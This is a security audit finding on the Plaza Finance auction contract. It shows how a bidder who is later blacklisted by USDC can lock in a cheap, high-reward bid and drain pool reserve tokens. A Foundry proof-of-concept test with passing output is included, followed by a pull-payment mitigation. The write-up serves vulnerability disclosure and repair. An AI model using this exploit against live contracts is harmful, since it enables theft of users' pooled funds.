Dry Cherry Goose

High

# Attacker betting low amount of coupon token for high amount of reserve token will force their bid to stay in the auction if they get blacklisted by couponToken

### Summary

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L286

https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L325

In Auctions, we expect the couponToken to be USDC. USDC can blacklist users. 

If an attacker bets a low amount of USDC for a high amount of reserve token before being blacklisted by USDC, other bidders won't be able to remove this bid even when their bid should be included in the auction.

This will force the bid of the attacker to execute, allowing the attacker to abuse the auction feature to earn pool's reserveToken. 

The definite amount of token earned by the attacker differs from 2 things :

- [`Pool::poolSaleLimit`](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Pool.sol#L176-L183) at the time the auction is created, which can be set by the admin between 90% and 100% of the pool's amount of reserve tokens.

- The bet of other users. If an attacker wants to perform this solo, they will need to buy all slots in the auction, which is costly, but ensures best rewards. If other users bet, the attacker needs to make sure the total amount of `reserveToken` bidded does not exceed the sale limit, [or the auction will not succeed](https://github.com/sherlock-audit/2024-12-plaza-finance/blob/main/plaza-evm/src/Auction.sol#L341-L342).

The attack is very cheap to perform since only one slot in the auction needs to be bidded for it to succeed, as shown in the PoC.

### Root Cause

USDC blacklist will prevent bids from being removed

### Internal Pre-conditions

_No response_

### External Pre-conditions

USDC needs to blacklist a user after their bid

### Attack Path

1 - An auction is created
2 - The attacker bets a high amount of reserve token
3 - The attacker gets blacklisted by USDC. From this point, the attacker's bid can not be removed from the auction
4 - When the auction ends, the attacker can withdraw their reserve token

### Impact

An attacker can abuse the auction to earn an unusually high amount of reserveToken from a low coupon token amount bet, while legit bidders will be denied their bet. Since the attacker's malicious action prevents legit bidders to earn reserve token, it is apparent to stealing funds from the pool.


### PoC

> To run this PoC, you will need to edit `test/mocks/Token.sol` in order to implement the blacklisting feature. Add the following lines in the contract :

```solidity
error SenderIsBlacklisted();
error ToIsBlacklisted();

mapping(address => bool) public isBlacklisted;

function blacklist(address user, bool _isBlacklisted) public {
    isBlacklisted[user] = _isBlacklisted;
}

function transfer(address to, uint256 value) public virtual override returns (bool) {
    if (isBlacklisted[msg.sender]) revert SenderIsBlacklisted();
    if (isBlacklisted[to]) revert ToIsBlacklisted();

    return super.transfer(to, value);
}
```

Add the following test function in the `AuctionTest` contract at `test/Auction.t.sol`.

```solidity
// forge test --mt test_usdc_blacklist_cant_remove_bid -vvv
function test_usdc_blacklist_cant_remove_bid() public {
    address attacker = makeAddr("attacker");

    // attacker only needs min bettable amount of USDC for the attack
    // totalBuyCouponAmount / maxBids = 1 slotSize = min bet
    uint256 slotSize = auction.totalBuyCouponAmount() / auction.maxBids();
    usdc.mint(attacker, slotSize);

    vm.startPrank(attacker);
    usdc.approve(address(auction), slotSize);
    // The attacker bids 1000 USDC of usdc to get 1000 weth
    uint256 attackerBidIndex = auction.bid(1000 ether, slotSize);
    vm.stopPrank();

    // At some time before their bid gets removed from the auction, the attacker gets blacklisted
    usdc.blacklist(attacker, true);

    uint256 bidToTotalBuyCouponAmount = auction.totalBuyCouponAmount() - slotSize;

    vm.startPrank(bidder);
    usdc.mint(bidder, bidToTotalBuyCouponAmount + slotSize);
    usdc.approve(address(auction), bidToTotalBuyCouponAmount + slotSize);

    // The other bidder bids at a much less interesting rate, so this bid should not get removed later
    auction.bid(1 ether, bidToTotalBuyCouponAmount);

    // Condition for :
    //  1 - auction to succeed
    //  2 - bids to get removed
    assertEq(auction.currentCouponAmount(), auction.totalBuyCouponAmount());

    // One more bids should remove our attacker but it reverts
    vm.expectRevert(Token.ToIsBlacklisted.selector);
    auction.bid(1 ether, slotSize);
    vm.stopPrank();

    vm.warp(block.timestamp + 15 days);
    auction.endAuction();

    // After the auction ends, the attacker claims his prize
    uint256 attackerBalanceBefore = Token(auction.sellReserveToken()).balanceOf(attacker);
    vm.prank(attacker);
    auction.claimBid(attackerBidIndex);
    uint256 attackerBalanceAfter = Token(auction.sellReserveToken()).balanceOf(attacker);

    // The attacker successfully earns his high bid of ether
    assertEq(1000 ether, attackerBalanceAfter - attackerBalanceBefore);
}
```

The output of running the test shows the attack works :

```console
$ forge test --mt test_usdc_blacklist_cant_remove_bid -vvv
[⠰] Compiling...
[⠊] Compiling 6 files with Solc 0.8.27
[⠒] Solc 0.8.27 finished in 23.47s
Compiler run successful!

Ran 1 test for test/Auction.t.sol:AuctionTest
[PASS] test_usdc_blacklist_cant_remove_bid() (gas: 793798)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 26.59ms (4.44ms CPU time)

Ran 1 test suite in 43.95ms (26.59ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

Bids that need to be replaced should not be paid back at the same time. 

Instead, create a variable containing the amount of couponToken to pay back to a user and create a separate function to withdraw these.